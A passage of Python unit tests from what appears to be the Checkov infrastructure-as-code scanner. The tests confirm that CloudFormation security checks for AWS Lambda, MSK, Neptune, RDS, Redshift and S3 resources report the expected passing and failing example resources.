self.assertEqual(failing_resources, failed_check_resources) if __name__ == '__main__': unittest.main() ================================================ FILE: tests/cloudformation/checks/resource/aws/test_LambdaFunctionLevelConcurrentExecutionLimit.py ================================================ import unittest from pathlib import Path from checkov.cloudformation.checks.resource.aws.LambdaFunctionLevelConcurrentExecutionLimit import check from checkov.cloudformation.runner import Runner from checkov.runner_filter import RunnerFilter class TestLambdaFunctionLevelConcurrentExecutionLimit(unittest.TestCase): def test_summary(self): # given test_files_dir = Path(__file__).parent / "example_LambdaFunctionLevelConcurrentExecutionLimit" # when report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id])) # then summary = report.get_summary() passing_resources = { "AWS::Lambda::Function.Enabled", "AWS::Serverless::Function.Enabled", } failing_resources = { "AWS::Lambda::Function.Default", "AWS::Serverless::Function.Default", } passed_check_resources = {c.resource for c in report.passed_checks} failed_check_resources = {c.resource for c in report.failed_checks} self.assertEqual(summary["passed"], len(passing_resources)) self.assertEqual(summary["failed"], len(failing_resources)) self.assertEqual(summary["skipped"], 0) self.assertEqual(summary["parsing_errors"], 0) self.assertEqual(passing_resources, passed_check_resources) self.assertEqual(failing_resources, failed_check_resources) if __name__ == "__main__": unittest.main() ================================================ FILE: tests/cloudformation/checks/resource/aws/test_LambdaFunctionURLAuth.py ================================================ import os import unittest from checkov.cloudformation.checks.resource.aws.LambdaFunctionURLAuth import check from checkov.cloudformation.runner import Runner from checkov.runner_filter import RunnerFilter class TestLambdaFunctionURLAuth(unittest.TestCase): def test_summary(self): runner = Runner() current_dir = os.path.dirname(os.path.realpath(__file__)) test_files_dir = current_dir + "/example_LambdaFunctionURLAuth" report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id])) summary = report.get_summary() passing_resources = { "AWS::Lambda::Url.AuthTypePass", } failing_resources = { "AWS::Lambda::Url.AuthTypeFail", } passed_check_resources = {c.resource for c in report.passed_checks} failed_check_resources = {c.resource for c in report.failed_checks} self.assertEqual(summary['passed'], 1) self.assertEqual(summary['failed'], 1) self.assertEqual(summary['skipped'], 0) self.assertEqual(summary['parsing_errors'], 0) self.assertEqual(passing_resources, passed_check_resources) self.assertEqual(failing_resources, failed_check_resources) if __name__ == '__main__': unittest.main() ================================================ FILE: tests/cloudformation/checks/resource/aws/test_LambdaInVPC.py ================================================ import unittest from pathlib import Path from checkov.cloudformation.checks.resource.aws.LambdaInVPC import check from checkov.cloudformation.runner import Runner from checkov.runner_filter import RunnerFilter class TestLambdaInVPC(unittest.TestCase): def test_summary(self): # given test_files_dir = Path(__file__).parent / "example_LambdaInVPC" # when report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id])) # then summary = report.get_summary() passing_resources = { "AWS::Lambda::Function.Enabled", "AWS::Serverless::Function.Enabled", } failing_resources = { "AWS::Lambda::Function.Default", "AWS::Serverless::Function.Default", } passed_check_resources = {c.resource for c in report.passed_checks} failed_check_resources = {c.resource for c in report.failed_checks} self.assertEqual(summary["passed"], len(passing_resources)) self.assertEqual(summary["failed"], len(failing_resources)) self.assertEqual(summary["skipped"], 0) self.assertEqual(summary["parsing_errors"], 0) self.assertEqual(passing_resources, passed_check_resources) self.assertEqual(failing_resources, failed_check_resources) if __name__ == "__main__": unittest.main() ================================================ FILE: tests/cloudformation/checks/resource/aws/test_LambdaServicePermission.py ================================================ import os import unittest from checkov.cloudformation.checks.resource.aws.LambdaServicePermission import check from checkov.cloudformation.runner import Runner from checkov.runner_filter import RunnerFilter class TestLambdaServicePermission(unittest.TestCase): def test_summary(self): runner = Runner() current_dir = os.path.dirname(os.path.realpath(__file__)) test_files_dir = current_dir + "/example_LambdaServicePermission" report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id])) summary = report.get_summary() passing_resources = { "AWS::Lambda::Permission.FunctionPassingArnPermission", "AWS::Lambda::Permission.FunctionPassingAccountPermission", "AWS::Lambda::Permission.ExampleS3ServicePermission", "AWS::Lambda::Permission.ExampleEventsServicePermission" } failing_resources = { "AWS::Lambda::Permission.FunctionFailPermission", } unknown_resources = { "AWS::Lambda::Permission.FunctionStringPrincipallPermission", } passed_check_resources = {c.resource for c in report.passed_checks} failed_check_resources = {c.resource for c in report.failed_checks} self.assertEqual(summary['passed'], 4) self.assertEqual(summary['failed'], 1) self.assertEqual(summary['skipped'], 0) self.assertEqual(summary['parsing_errors'], 0) self.assertEqual(passing_resources, passed_check_resources) self.assertEqual(failing_resources, failed_check_resources) if __name__ == '__main__': unittest.main() ================================================ FILE: tests/cloudformation/checks/resource/aws/test_LaunchConfigurationEBSEncryption.py ================================================ import os import unittest from checkov.cloudformation.checks.resource.aws.LaunchConfigurationEBSEncryption import check from checkov.cloudformation.runner import Runner from checkov.runner_filter import RunnerFilter class TestLaunchConfigurationEBSEncryption(unittest.TestCase): def test_summary(self): runner = Runner() current_dir = os.path.dirname(os.path.realpath(__file__)) test_files_dir = current_dir + "/example_LaunchConfigurationEBSEncryption" report = runner.run(root_folder=test_files_dir,runner_filter=RunnerFilter(checks=[check.id])) summary = report.get_summary() self.assertEqual(summary['passed'], 2) self.assertEqual(summary['failed'], 1) self.assertEqual(summary['skipped'], 0) self.assertEqual(summary['parsing_errors'], 0) if __name__ == '__main__': unittest.main() ================================================ FILE: tests/cloudformation/checks/resource/aws/test_MQBrokerAuditLogging.py ================================================ import unittest from pathlib import Path from checkov.cloudformation.checks.resource.aws.MQBrokerAuditLogging import check from checkov.cloudformation.runner import Runner from checkov.runner_filter import RunnerFilter class TestMQBrokerAuditLogging(unittest.TestCase): def test_summary(self): # given test_files_dir = Path(__file__).parent / "example_MQBrokerAuditLogging" # when report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id])) # then summary = report.get_summary() passing_resources = { "AWS::AmazonMQ::Broker.Enabled", } failing_resources = { "AWS::AmazonMQ::Broker.Default", "AWS::AmazonMQ::Broker.Disabled", } passed_check_resources = set(c.resource for c in report.passed_checks) failed_check_resources = set(c.resource for c in report.failed_checks) self.assertEqual(summary["passed"], len(passing_resources)) self.assertEqual(summary["failed"], len(failing_resources)) self.assertEqual(summary["skipped"], 0) self.assertEqual(summary["parsing_errors"], 0) self.assertEqual(summary["resource_count"], 4) # 1 unknown self.assertEqual(passing_resources, passed_check_resources) self.assertEqual(failing_resources, failed_check_resources) if __name__ == "__main__": unittest.main() ================================================ FILE: tests/cloudformation/checks/resource/aws/test_MSKClusterEncryption.py ================================================ import os import unittest from checkov.cloudformation.checks.resource.aws.MSKClusterEncryption import check from checkov.cloudformation.runner import Runner from checkov.runner_filter import RunnerFilter class TestMSKClusterEncryption(unittest.TestCase): def test_summary(self): runner = Runner() current_dir = os.path.dirname(os.path.realpath(__file__)) test_files_dir = current_dir + "/example_MSKClusterEncryption" report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id])) summary = report.get_summary() passing_resources = { "AWS::MSK::Cluster.MSKClusterPASSTLS", } failing_resources = { "AWS::MSK::Cluster.MSKClusterFAILskip", "AWS::MSK::Cluster.MSKClusterFAILnotTLS", } passed_check_resources = set([c.resource for c in report.passed_checks]) failed_check_resources = set([c.resource for c in report.failed_checks]) self.assertEqual(summary["passed"], 1) self.assertEqual(summary["failed"], 2) self.assertEqual(summary["skipped"], 0) self.assertEqual(summary["parsing_errors"], 0) self.assertEqual(passing_resources, passed_check_resources) self.assertEqual(failing_resources, failed_check_resources) if __name__ == "__main__": unittest.main() ================================================ FILE: tests/cloudformation/checks/resource/aws/test_MSKClusterLogging.py ================================================ import os import unittest from checkov.cloudformation.checks.resource.aws.MSKClusterLogging import check from checkov.cloudformation.runner import Runner from checkov.runner_filter import RunnerFilter class TestMSKClusterLogging(unittest.TestCase): def test_summary(self): runner = Runner() current_dir = os.path.dirname(os.path.realpath(__file__)) test_files_dir = current_dir + "/example_MSKClusterLogging" report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id])) summary = report.get_summary() passing_resources = { "AWS::MSK::Cluster.MSKClusterPASS", "AWS::MSK::Cluster.MSKClusterPASSskip", } failing_resources = { "AWS::MSK::Cluster.MSKClusterFAILempty", "AWS::MSK::Cluster.MSKClusterFAILdeclared", } passed_check_resources = set([c.resource for c in report.passed_checks]) failed_check_resources = set([c.resource for c in report.failed_checks]) self.assertEqual(summary["passed"], 2) self.assertEqual(summary["failed"], 2) self.assertEqual(summary["skipped"], 0) self.assertEqual(summary["parsing_errors"], 0) self.assertEqual(passing_resources, passed_check_resources) self.assertEqual(failing_resources, failed_check_resources) if __name__ == "__main__": unittest.main() ================================================ FILE: tests/cloudformation/checks/resource/aws/test_MSKClusterNodesArePrivate.py ================================================ import os import unittest from checkov.cloudformation.checks.resource.aws.MSKClusterNodesArePrivate import check from checkov.cloudformation.runner import Runner from checkov.runner_filter import RunnerFilter class TestMSKClusterNodesArePrivate(unittest.TestCase): def test_summary(self): runner = Runner() current_dir = os.path.dirname(os.path.realpath(__file__)) test_files_dir = current_dir + "/example_MSKClusterNodesArePrivate" report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id])) summary = report.get_summary() passing_resources = { "AWS::MSK::Cluster.MSKClusterPASS", "AWS::MSK::Cluster.MSKClusterPASS2" } failing_resources = { "AWS::MSK::Cluster.MSKCluster", "AWS::MSK::Cluster.MSKCluster2" } passed_check_resources = set([c.resource for c in report.passed_checks]) failed_check_resources = set([c.resource for c in report.failed_checks]) self.assertEqual(summary["passed"], 2) self.assertEqual(summary["failed"], 2) self.assertEqual(summary["skipped"], 0) self.assertEqual(summary["parsing_errors"], 0) self.assertEqual(passing_resources, passed_check_resources) self.assertEqual(failing_resources, failed_check_resources) if __name__ == "__main__": unittest.main() ================================================ FILE: tests/cloudformation/checks/resource/aws/test_NeptuneClusterBackupRetention.py ================================================ import os import unittest from checkov.cloudformation.checks.resource.aws.NeptuneClusterBackupRetention import check from checkov.cloudformation.runner import Runner from checkov.runner_filter import RunnerFilter class TestNeptuneClusterBackupRetention(unittest.TestCase): def test_summary(self): runner = Runner() current_dir = os.path.dirname(os.path.realpath(__file__)) test_files_dir = current_dir + "/example_NeptuneClusterBackupRetention" report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id])) summary = report.get_summary() passing_resources = { "AWS::Neptune::DBCluster.NeptuneDBClusterAdequate", } failing_resources = { "AWS::Neptune::DBCluster.NeptuneDBClusterNotAdequate", "AWS::Neptune::DBCluster.NeptuneDBClusterDefault", } passed_check_resources = set([c.resource for c in report.passed_checks]) failed_check_resources = set([c.resource for c in report.failed_checks]) self.assertEqual(summary["passed"], 1) self.assertEqual(summary["failed"], 2) self.assertEqual(summary["skipped"], 0) self.assertEqual(summary["parsing_errors"], 0) self.assertEqual(passing_resources, passed_check_resources) self.assertEqual(failing_resources, failed_check_resources) if __name__ == "__main__": unittest.main() ================================================ FILE: tests/cloudformation/checks/resource/aws/test_NeptuneClusterLogging.py ================================================ import os import unittest from checkov.cloudformation.checks.resource.aws.NeptuneClusterLogging import check from checkov.cloudformation.runner import Runner from checkov.runner_filter import RunnerFilter class TestNeptuneClusterLogging(unittest.TestCase): def test_summary(self): runner = Runner() current_dir = os.path.dirname(os.path.realpath(__file__)) test_files_dir = current_dir + "/example_NeptuneClusterLogging" report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id])) summary = report.get_summary() passing_resources = { "AWS::Neptune::DBCluster.NeptuneDBClusterEnabled", } failing_resources = { "AWS::Neptune::DBCluster.NeptuneDBClusterDefault", "AWS::Neptune::DBCluster.NeptuneDBClusterEmpty", } passed_check_resources = set([c.resource for c in report.passed_checks]) failed_check_resources = set([c.resource for c in report.failed_checks]) self.assertEqual(summary["passed"], 1) self.assertEqual(summary["failed"], 2) self.assertEqual(summary["skipped"], 0) self.assertEqual(summary["parsing_errors"], 0) self.assertEqual(passing_resources, passed_check_resources) self.assertEqual(failing_resources, failed_check_resources) if __name__ == "__main__": unittest.main() ================================================ FILE: tests/cloudformation/checks/resource/aws/test_NeptuneClusterStorageEncrypted.py ================================================ import os import unittest from checkov.cloudformation.checks.resource.aws.NeptuneClusterStorageEncrypted import check from checkov.cloudformation.runner import Runner from checkov.runner_filter import RunnerFilter class TestNeptuneClusterStorageEncrypted(unittest.TestCase): def test_summary(self): runner = Runner() current_dir = os.path.dirname(os.path.realpath(__file__)) test_files_dir = current_dir + "/example_NeptuneClusterStorageEncrypted" report = runner.run(root_folder=test_files_dir,runner_filter=RunnerFilter(checks=[check.id])) summary = report.get_summary() self.assertEqual(summary['passed'], 1) self.assertEqual(summary['failed'], 1) self.assertEqual(summary['skipped'], 0) self.assertEqual(summary['parsing_errors'], 0) if __name__ == '__main__': unittest.main() ================================================ FILE: tests/cloudformation/checks/resource/aws/test_ParameterStoreCredentials.py ================================================ import unittest from pathlib import Path from checkov.cloudformation.checks.resource.aws.ParameterStoreCredentials import check from checkov.cloudformation.runner import Runner from checkov.runner_filter import RunnerFilter class TestParameterStoreCredentials(unittest.TestCase): def test_summary(self): test_files_dir = Path(__file__).parent / "example_ParameterStoreCredentials" report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id])) summary = report.get_summary() passing_resources = { "AWS::SSM::Parameter.GoodNoKeyword", "AWS::SSM::Parameter.GoodVariable", "AWS::SSM::Parameter.GoodFnSub", "AWS::SSM::Parameter.GoodRef", "AWS::SSM::Parameter.PassTestName", "AWS::SSM::Parameter.PassTestVALUE", "AWS::SSM::Parameter.DynamoDbParameter", } failing_resources = { "AWS::SSM::Parameter.FailAPIKey", "AWS::SSM::Parameter.Bad1", "AWS::SSM::Parameter.Bad2", } passed_check_resources = {c.resource for c in report.passed_checks} failed_check_resources = {c.resource for c in report.failed_checks} self.assertEqual(summary["passed"], len(passing_resources)) self.assertEqual(summary["failed"], len(failing_resources)) self.assertEqual(summary["skipped"], 0) self.assertEqual(summary["parsing_errors"], 0) self.assertEqual(passing_resources, passed_check_resources) self.assertEqual(failing_resources, failed_check_resources) if __name__ == "__main__": unittest.main() ================================================ FILE: tests/cloudformation/checks/resource/aws/test_QLDBLedgerDeletionProtection.py ================================================ import unittest from pathlib import Path from checkov.cloudformation.checks.resource.aws.QLDBLedgerDeletionProtection import check from checkov.cloudformation.runner import Runner from checkov.runner_filter import RunnerFilter class TestQLDBLedgerDeletionProtection(unittest.TestCase): def test_summary(self): test_files_dir = Path(__file__).parent / "example_QLDBLedgerDeletionProtection" report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id])) summary = report.get_summary() passing_resources = { "AWS::QLDB::Ledger.Default", "AWS::QLDB::Ledger.Enabled", } failing_resources = { "AWS::QLDB::Ledger.Disabled", } passed_check_resources = set([c.resource for c in report.passed_checks]) failed_check_resources = set([c.resource for c in report.failed_checks]) self.assertEqual(summary["passed"], 2) self.assertEqual(summary["failed"], 1) self.assertEqual(summary["skipped"], 0) self.assertEqual(summary["parsing_errors"], 0) self.assertEqual(passing_resources, passed_check_resources) self.assertEqual(failing_resources, failed_check_resources) if __name__ == "__main__": unittest.main() ================================================ FILE: tests/cloudformation/checks/resource/aws/test_QLDBLedgerPermissionsMode.py ================================================ import unittest from pathlib import Path from checkov.cloudformation.checks.resource.aws.QLDBLedgerPermissionsMode import check from checkov.cloudformation.runner import Runner from checkov.runner_filter import RunnerFilter class TestQLDBLedgerPermissionsMode(unittest.TestCase): def test_summary(self): test_files_dir = Path(__file__).parent / "example_QLDBLedgerPermissionsMode" report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id])) summary = report.get_summary() passing_resources = { "AWS::QLDB::Ledger.Standard", } failing_resources = { "AWS::QLDB::Ledger.AllowAll", } passed_check_resources = set([c.resource for c in report.passed_checks]) failed_check_resources = set([c.resource for c in report.failed_checks]) self.assertEqual(summary["passed"], 1) self.assertEqual(summary["failed"], 1) self.assertEqual(summary["skipped"], 0) self.assertEqual(summary["parsing_errors"], 0) self.assertEqual(passing_resources, passed_check_resources) self.assertEqual(failing_resources, failed_check_resources) if __name__ == "__main__": unittest.main() ================================================ FILE: tests/cloudformation/checks/resource/aws/test_RDSClusterIAMAuthentication.py ================================================ import unittest from pathlib import Path from checkov.cloudformation.checks.resource.aws.RDSClusterIAMAuthentication import check from checkov.cloudformation.runner import Runner from checkov.runner_filter import RunnerFilter class TestRDSClusterIAMAuthentication(unittest.TestCase): def test_summary(self): test_files_dir = Path(__file__).parent / "example_RDSClusterIAMAuthentication" report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id])) summary = report.get_summary() passing_resources = { "AWS::RDS::DBCluster.Enabled", } failing_resources = { "AWS::RDS::DBCluster.Default", "AWS::RDS::DBCluster.Disabled", } passed_check_resources = set([c.resource for c in report.passed_checks]) failed_check_resources = set([c.resource for c in report.failed_checks]) self.assertEqual(summary["passed"], 1) self.assertEqual(summary["failed"], 2) self.assertEqual(summary["skipped"], 0) self.assertEqual(summary["parsing_errors"], 0) self.assertEqual(passing_resources, passed_check_resources) self.assertEqual(failing_resources, failed_check_resources) if __name__ == "__main__": unittest.main() ================================================ FILE: tests/cloudformation/checks/resource/aws/test_RDSEncryption.py ================================================ import os import unittest from checkov.cloudformation.checks.resource.aws.RDSEncryption import check from checkov.cloudformation.runner import Runner from checkov.runner_filter import RunnerFilter class TestRDSEncryption(unittest.TestCase): def test_summary(self): runner = Runner() current_dir = os.path.dirname(os.path.realpath(__file__)) test_files_dir = current_dir + "/example_RDSEncryption" report = runner.run(root_folder=test_files_dir,runner_filter=RunnerFilter(checks=[check.id])) summary = report.get_summary() self.assertEqual(summary['passed'], 1) self.assertEqual(summary['failed'], 2) self.assertEqual(summary['skipped'], 0) self.assertEqual(summary['parsing_errors'], 0) if __name__ == '__main__': unittest.main() ================================================ FILE: tests/cloudformation/checks/resource/aws/test_RDSEnhancedMonitorEnabled.py ================================================ import unittest from pathlib import Path from checkov.cloudformation.checks.resource.aws.RDSEnhancedMonitorEnabled import check from checkov.cloudformation.runner import Runner from checkov.runner_filter import RunnerFilter class TestRDSEnhancedMonitorEnabled(unittest.TestCase): def test_summary(self): # given test_files_dir = Path(__file__).parent / "example_RDSEnhancedMonitorEnabled" # when report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id])) # then summary = report.get_summary() passing_resources = { "AWS::RDS::DBInstance.Enabled", "AWS::RDS::DBInstance.EnabledNumber", } failing_resources = { "AWS::RDS::DBInstance.Default", } passed_check_resources = {c.resource for c in report.passed_checks} failed_check_resources = {c.resource for c in report.failed_checks} self.assertEqual(summary["passed"], len(passing_resources)) self.assertEqual(summary["failed"], len(failing_resources)) self.assertEqual(summary["skipped"], 0) self.assertEqual(summary["parsing_errors"], 0) self.assertEqual(passing_resources, passed_check_resources) self.assertEqual(failing_resources, failed_check_resources) if __name__ == "__main__": unittest.main() ================================================ FILE: tests/cloudformation/checks/resource/aws/test_RDSIAMAuthentication.py ================================================ import unittest from pathlib import Path from checkov.cloudformation.checks.resource.aws.RDSIAMAuthentication import check from checkov.cloudformation.runner import Runner from checkov.runner_filter import RunnerFilter class TestRDSIAMAuthentication(unittest.TestCase): def test_summary(self): test_files_dir = Path(__file__).parent / "example_RDSIAMAuthentication" report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id])) summary = report.get_summary() passing_resources = { "AWS::RDS::DBInstance.EnabledMysql", "AWS::RDS::DBInstance.EnabledPostgres", } failing_resources = { "AWS::RDS::DBInstance.DefaultMysql", "AWS::RDS::DBInstance.DefaultPostgres", "AWS::RDS::DBInstance.DisabledMysql", "AWS::RDS::DBInstance.DisabledPostgres", } passed_check_resources = set([c.resource for c in report.passed_checks]) failed_check_resources = set([c.resource for c in report.failed_checks]) self.assertEqual(summary["passed"], 2) self.assertEqual(summary["failed"], 4) self.assertEqual(summary["skipped"], 0) self.assertEqual(summary["parsing_errors"], 0) self.assertEqual(passing_resources, passed_check_resources) self.assertEqual(failing_resources, failed_check_resources) if __name__ == "__main__": unittest.main() ================================================ FILE: tests/cloudformation/checks/resource/aws/test_RDSMultiAZEnabled.py ================================================ import os import unittest from checkov.cloudformation.checks.resource.aws.RDSMultiAZEnabled import check from checkov.cloudformation.runner import Runner from checkov.runner_filter import RunnerFilter class TestRDSMultiAZEnabled(unittest.TestCase): def test_summary(self): runner = Runner() current_dir = os.path.dirname(os.path.realpath(__file__)) test_files_dir = current_dir + "/example_RDSMultiAZEnabled" report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id])) summary = report.get_summary() passing_resources = { "AWS::RDS::DBInstance.MyDBEnabled", } failing_resources = { "AWS::RDS::DBInstance.MyDBDefault", "AWS::RDS::DBInstance.MyDBDisabled", } passed_check_resources = set([c.resource for c in report.passed_checks]) failed_check_resources = set([c.resource for c in report.failed_checks]) self.assertEqual(summary['passed'], 1) self.assertEqual(summary['failed'], 2) self.assertEqual(summary['skipped'], 0) self.assertEqual(summary['parsing_errors'], 0) self.assertEqual(passing_resources, passed_check_resources) self.assertEqual(failing_resources, failed_check_resources) if __name__ == '__main__': unittest.main() ================================================ FILE: tests/cloudformation/checks/resource/aws/test_RDSPubliclyAccessible.py ================================================ import os import unittest from checkov.cloudformation.checks.resource.aws.RDSPubliclyAccessible import check from checkov.cloudformation.runner import Runner from checkov.runner_filter import RunnerFilter class TestRDSPubliclyAccessible(unittest.TestCase): def test_summary(self): runner = Runner() current_dir = os.path.dirname(os.path.realpath(__file__)) test_files_dir = current_dir + "/example_RDSPubliclyAccessible" report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id])) summary = report.get_summary() self.assertEqual(summary['passed'], 2) self.assertEqual(summary['failed'], 1) self.assertEqual(summary['skipped'], 0) self.assertEqual(summary['parsing_errors'], 0) if __name__ == '__main__': unittest.main() ================================================ FILE: tests/cloudformation/checks/resource/aws/test_RedShiftSSL.py ================================================ import os import unittest from checkov.cloudformation.checks.resource.aws.RedShiftSSL import check from checkov.cloudformation.runner import Runner from checkov.runner_filter import RunnerFilter class TestRedShiftSSL(unittest.TestCase): def test_summary(self): runner = Runner() current_dir = os.path.dirname(os.path.realpath(__file__)) test_files_dir = current_dir + "/example_RedShiftSSL" report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id])) summary = report.get_summary() passing_resources = { "AWS::Redshift::ClusterParameterGroup.RedshiftParameterGroupEnabled", "AWS::Redshift::ClusterParameterGroup.RedshiftParameterGroupEnabledBool", } failing_resources = { "AWS::Redshift::ClusterParameterGroup.RedshiftParameterGroupDefault", "AWS::Redshift::ClusterParameterGroup.RedshiftParameterGroupDisabled", "AWS::Redshift::ClusterParameterGroup.RedshiftParameterGroupDefault2", "AWS::Redshift::ClusterParameterGroup.RedshiftParameterGroupDisabled2", } passed_check_resources = set([c.resource for c in report.passed_checks]) failed_check_resources = set([c.resource for c in report.failed_checks]) self.assertEqual(summary["passed"], 2) self.assertEqual(summary["failed"], 4) self.assertEqual(summary["skipped"], 0) self.assertEqual(summary["parsing_errors"], 0) self.assertEqual(passing_resources, passed_check_resources) self.assertEqual(failing_resources, failed_check_resources) if __name__ == "__main__": unittest.main() ================================================ FILE: tests/cloudformation/checks/resource/aws/test_RedshiftClusterEncryption.py ================================================ import os import unittest from checkov.cloudformation.checks.resource.aws.RedshiftClusterEncryption import check from checkov.cloudformation.runner import Runner from checkov.runner_filter import RunnerFilter class TestRedshiftClusterEncryption(unittest.TestCase): def test_summary(self): runner = Runner() current_dir = os.path.dirname(os.path.realpath(__file__)) test_files_dir = current_dir + "/example_RedshiftClusterEncryption" report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id])) summary = report.get_summary() passing_resources = { "AWS::Redshift::Cluster.RedshiftClusterEnabled", } failing_resources = { "AWS::Redshift::Cluster.RedshiftClusterDefault", "AWS::Redshift::Cluster.RedshiftClusterDisabled", } passed_check_resources = set([c.resource for c in report.passed_checks]) failed_check_resources = set([c.resource for c in report.failed_checks]) self.assertEqual(summary["passed"], 1) self.assertEqual(summary["failed"], 2) self.assertEqual(summary["skipped"], 0) self.assertEqual(summary["parsing_errors"], 0) self.assertEqual(passing_resources, passed_check_resources) self.assertEqual(failing_resources, failed_check_resources) if __name__ == "__main__": unittest.main() ================================================ FILE: tests/cloudformation/checks/resource/aws/test_RedshiftClusterLogging.py ================================================ import unittest from pathlib import Path from checkov.cloudformation.checks.resource.aws.RedshiftClusterLogging import check from checkov.cloudformation.runner import Runner from checkov.runner_filter import RunnerFilter class TestRedshiftClusterLogging(unittest.TestCase): def test_summary(self): test_files_dir = Path(__file__).parent / "example_RedshiftClusterLogging" report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id])) summary = report.get_summary() passing_resources = { "AWS::Redshift::Cluster.RedshiftClusterEnabled", } failing_resources = { "AWS::Redshift::Cluster.RedshiftClusterDefault", } passed_check_resources = set([c.resource for c in report.passed_checks]) failed_check_resources = set([c.resource for c in report.failed_checks]) self.assertEqual(summary["passed"], 1) self.assertEqual(summary["failed"], 1) self.assertEqual(summary["skipped"], 0) self.assertEqual(summary["parsing_errors"], 0) self.assertEqual(passing_resources, passed_check_resources) self.assertEqual(failing_resources, failed_check_resources) if __name__ == "__main__": unittest.main() ================================================ FILE: tests/cloudformation/checks/resource/aws/test_RedshiftClusterPubliclyAccessible.py ================================================ import unittest from pathlib import Path from checkov.cloudformation.checks.resource.aws.RedshiftClusterPubliclyAccessible import check from checkov.cloudformation.runner import Runner from checkov.runner_filter import RunnerFilter class TestRedshiftClusterPubliclyAccessible(unittest.TestCase): def test_summary(self): test_files_dir = Path(__file__).parent / "example_RedshiftClusterPubliclyAccessible" report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id])) summary = report.get_summary() passing_resources = { "AWS::Redshift::Cluster.RedshiftClusterEnabled", } failing_resources = { "AWS::Redshift::Cluster.RedshiftClusterDefault", "AWS::Redshift::Cluster.RedshiftClusterDisabled", } passed_check_resources = set([c.resource for c in report.passed_checks]) failed_check_resources = set([c.resource for c in report.failed_checks]) self.assertEqual(summary["passed"], 1) self.assertEqual(summary["failed"], 2) self.assertEqual(summary["skipped"], 0) self.assertEqual(summary["parsing_errors"], 0) self.assertEqual(passing_resources, passed_check_resources) self.assertEqual(failing_resources, failed_check_resources) if __name__ == "__main__": unittest.main() ================================================ FILE: tests/cloudformation/checks/resource/aws/test_RedshiftInEc2ClassicMode.py ================================================ import unittest from pathlib import Path from checkov.cloudformation.checks.resource.aws.RedshiftInEc2ClassicMode import check from checkov.cloudformation.runner import Runner from checkov.runner_filter import RunnerFilter class TestRedshiftInEc2ClassicMode(unittest.TestCase): def test_summary(self): test_files_dir = Path(__file__).parent / "example_RedshiftInEc2ClassicMode" report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id])) summary = report.get_summary() passing_resources = { "AWS::Redshift::Cluster.RedshiftClusterEnabled", } failing_resources = { "AWS::Redshift::Cluster.RedshiftClusterDefault", } passed_check_resources = set([c.resource for c in report.passed_checks]) failed_check_resources = set([c.resource for c in report.failed_checks]) self.assertEqual(summary["passed"], 1) self.assertEqual(summary["failed"], 1) self.assertEqual(summary["skipped"], 0) self.assertEqual(summary["parsing_errors"], 0) self.assertEqual(passing_resources, passed_check_resources) self.assertEqual(failing_resources, failed_check_resources) if __name__ == "__main__": unittest.main() ================================================ FILE: tests/cloudformation/checks/resource/aws/test_S3AccessLogs.py ================================================ import os import unittest from checkov.cloudformation.checks.resource.aws.S3AccessLogs import check from checkov.cloudformation.runner import Runner from checkov.runner_filter import RunnerFilter class TestS3AccessLogs(unittest.TestCase): def test_summary(self): runner = Runner() current_dir = os.path.dirname(os.path.realpath(__file__)) test_files_dir = current_dir + "/S3Templates" report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id])) summary = report.get_summary() self.assertEqual(summary['passed'], 2) self.assertEqual(summary['failed'], 4) self.assertEqual(summary['skipped'], 0) self.assertEqual(summary['parsing_errors'], 0) if __name__ == '__main__': unittest.main() ================================================ FILE: tests/cloudformation/checks/resource/aws/test_S3BlockPublicACLs.py ================================================ import os import unittest from checkov.cloudformation.checks.resource.aws.S3BlockPublicACLs import check from checkov.cloudformation.runner import Runner from checkov.common.models.enums import CheckResult from checkov.runner_filter import RunnerFilter class TestS3BlockPublicACLs(unittest.TestCase): def test_summary(self): runner = Runner() current_dir = os.path.dirname(os.path.realpath(__file__)) test_files_dir = current_dir + "/S3Templates" report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id])) summary = report.get_summary() self.assertEqual(summary['passed'], 1) self.assertEqual(summary['failed'], 5) self.assertEqual(summary['skipped'], 0) self.assertEqual(summary['parsing_errors'], 0) def test_failure_auth_read(self): resource_conf = { "Type": "AWS::S3::Bucket", "Properties": { "AccessControl": "AuthenticatedRead" } } scan_result = check.scan_resource_conf(conf=resource_conf) self.assertEqual(CheckResult.FAILED, scan_result) if __name__ == '__main__': unittest.main() ================================================ FILE: tests/cloudformation/checks/resource/aws/test_S3BlockPublicPolicy.py ================================================ import os import unittest from checkov.cloudformation.checks.resource.aws.S3BlockPublicPolicy import check from checkov.cloudformation.runner import Runner from checkov.runner_filter import RunnerFilter class TestS3BlockPublicPolicy(unittest.TestCase): def test_summary(self): runner = Runner() current_dir = os.path.dirname(os.path.realpath(__file__)) test_files_dir = current_dir + "/S3Templates" report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id])) summary = report.get_summary() 